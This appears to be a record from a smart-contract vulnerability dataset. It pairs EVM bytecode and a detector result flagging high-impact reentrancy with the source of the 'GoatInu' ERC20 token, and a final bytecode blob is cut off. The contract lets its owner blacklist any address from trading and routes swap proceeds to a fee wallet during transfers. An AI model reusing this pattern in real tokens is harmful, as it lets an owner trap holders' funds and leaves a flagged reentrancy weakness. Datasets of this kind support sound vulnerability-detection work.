1905050905030816000815181106113f3576113f3611e3e565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144757600080fd5b505afa15801561145b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061147f9190611a29565b8160018151811061149257611492611e3e565b6001600160a01b0392831660209182029290920101526015546114b89130911684610b86565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114f1908590600090869030904290600401611d2c565b600060405180830381600087803b15801561150b57600080fd5b505af115801561151f573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611541576115416115c7565b61154c8484846115f5565b80610a6757610a67600f54600d55601054600e55565b60006113a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ec565b60008060006115b161171a565b90925090506115c08282611562565b9250505090565b600d541580156115d75750600e54155b156115de57565b600d8054600f55600e805460105560009182905555565b6000806000806000806116078761175c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163990876117b9565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461166890866117fb565b6001600160a01b03891660009081526002602052604090205561168a8161185a565b61169484836118a4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116d991815260200190565b60405180910390a3505050505050505050565b6000818361170d5760405162461bcd60e51b815260040161061a9190611ca2565b5060006112998486611db5565b6006546000908190681817e7db74487418006117368282611562565b82101561175357505060065492681817e7db744874180092509050565b90939092509050565b60008060008060008060008060006117798a600d54600e546118c8565b92509250925060006117896115a4565b9050600080600061179c8e87878761191d565b919e509c509a509598509396509194505050505091939550919395565b60006113a483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611268565b6000806118088385611d9d565b9050838110156113a45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161061a565b60006118646115a4565b90506000611872838361196d565b3060009081526002602052604090205490915061188f90826117fb565b30600090815260026020526040902055505050565b6006546118b190836117b9565b6006556007546118c190826117fb565b6007555050565b60008080806118e260646118dc898961196d565b90611562565b905060006118f560646118dc8a8961196d565b9050600061190d826119078b866117b9565b906117b9565b9992985090965090945050505050565b600080808061192c888661196d565b9050600061193a888761196d565b90506000611948888861196d565b9050600061195a8261190786866117b9565b939b939a50919850919650505050505050565b60008261197c575060006106a0565b60006119888385611dd7565b9050826119958583611db5565b146113a45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161061a565b80356119f781611e6a565b919050565b803580151581146119f757600080fd5b600060208284031215611a1e57600080fd5b81356113a481611e6a565b600060208284031215611a3b57600080fd5b81516113a481611e6a565b60008060408385031215611a5957600080fd5b8235611a6481611e6a565b91506020830135611a7481611e6a565b809150509250929050565b600080600060608486031215611a9457600080fd5b8335611a9f81611e6a565b92506020840135611aaf81611e6a565b929592945050506040919091013590565b60008060408385031215611ad357600080fd5b8235611ade81611e6a565b946020939093013593505050565b600080600060408486031215611b0157600080fd5b833567ffffffffffffffff80821115611b1957600080fd5b818601915086601f830112611b2d57600080fd5b813581811115611b3c57600080fd5b8760208260051b8501011115611b5157600080fd5b602092830195509350611b6791860190506119fc565b90509250925092565b60006020808385031215611b8357600080fd5b823567ffffffffffffffff80821115611b9b57600080fd5b818501915085601f830112611baf57600080fd5b813581811115611bc157611bc1611e54565b8060051b604051601f19603f83011681018181108582111715611be657611be6611e54565b604052828152858101935084860182860187018a1015611c0557600080fd5b600095505b83861015611c2f57611c1b816119ec565b855260019590950194938601938601611c0a565b5098975050505050505050565b600060208284031215611c4e57600080fd5b6113a4826119fc565b600060208284031215611c6957600080fd5b5035919050565b60008060008060808587031215611c8657600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611ccf57858101830151858201604001528201611cb3565b81811115611ce1576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d7c5784516001600160a01b031683529383019391830191600101611d57565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611db057611db0611e28565b500190565b600082611dd257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611df157611df1611e28565b500290565b600082821015611e0857611e08611e28565b500390565b6000600019821415611e2157611e21611e28565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ea57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205fa43fbeb9c856ebbf8e81419992a5610a398718400288a7a3df77af74bf327c64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
212
0x270949a5a1f6cbcac5019239698e11d14d45b02b
/** *Submitted for verification at Etherscan.io on 2022-04-12 */ /** 🟢BuyTax:4% 🟢SellTax:5% 🟢MaxBuy :1% 🟢MaxWallet: 3% Tg: https://t.me/GoatInuErc Website: https://goatinu.com */ pragma solidity ^0.8.10; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GoatInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "GoatInu"; string private constant _symbol = "GoatInu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xf02C2646BEE8AEb548C45A1ff7Fe1A1ab367E9D3); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 4; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 5; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000 * 10**9; _maxWalletSize = 3000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612723565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127ed565b6104b4565b60405161018e9190612848565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612872565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d5565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a1e565b61060d565b60405161021f9190612848565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a71565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612aba565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612b01565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b2e565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a71565b6109dd565b6040516103199190612872565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b6a565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d9190612723565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127ed565b610c9e565b6040516103da9190612848565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b2e565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b85565b611330565b60405161046e9190612872565b60405180910390f35b60606040518060400160405280600781526020017f476f6174496e7500000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c11565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c31565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8f565b91505061057b565b5050565b600061061a84848461158a565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1d9092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c11565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c11565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c11565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611c8190919063ffffffff16565b611cfc90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d46565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db2565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c11565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c11565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f476f6174496e7500000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b848461158a565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c11565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611c8190919063ffffffff16565b611cfc90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e20565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c11565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d24565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d59565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d59565b6040518363ffffffff1660e01b815260040161109c929190612d86565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d59565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612df4565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e6a565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550670de0b6b3a7640000600f819055506729a2241af62c00006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612ebd565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612efb565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142690612f9a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561149f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114969061302c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157d9190612872565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f1906130be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561166a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166190613150565b60405180910390fd5b600081116116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a4906131e2565b60405180910390fd5b6000600a819055506004600b819055506116c5610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117335750611703610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0d57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117dc5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e557600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118905750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fe5750600e60179054906101000a900460ff165b15611a3c57600f54811115611948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193f9061324e565b60405180910390fd5b60105481611955846109dd565b61195f919061326e565b11156119a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199790613310565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119eb57600080fd5b601e426119f8919061326e565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b3d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b53576000600a819055506005600b819055505b6000611b5e306109dd565b9050600e60159054906101000a900460ff16158015611bcb5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611be35750600e60169054906101000a900460ff165b15611c0b57611bf181611e20565b60004790506000811115611c0957611c0847611d46565b5b505b505b611c18838383612099565b505050565b6000838311158290611c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5c9190612723565b60405180910390fd5b5060008385611c749190613330565b9050809150509392505050565b600080831415611c945760009050611cf6565b60008284611ca29190613364565b9050828482611cb191906133ed565b14611cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce890613490565b60405180910390fd5b809150505b92915050565b6000611d3e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a9565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611dae573d6000803e3d6000fd5b5050565b6000600854821115611df9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df090613522565b60405180910390fd5b6000611e0361210c565b9050611e188184611cfc90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5857611e57612892565b5b604051908082528060200260200182016040528015611e865781602001602082028036833780820191505090505b5090503081600081518110611e9e57611e9d612c31565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f699190612d59565b81600181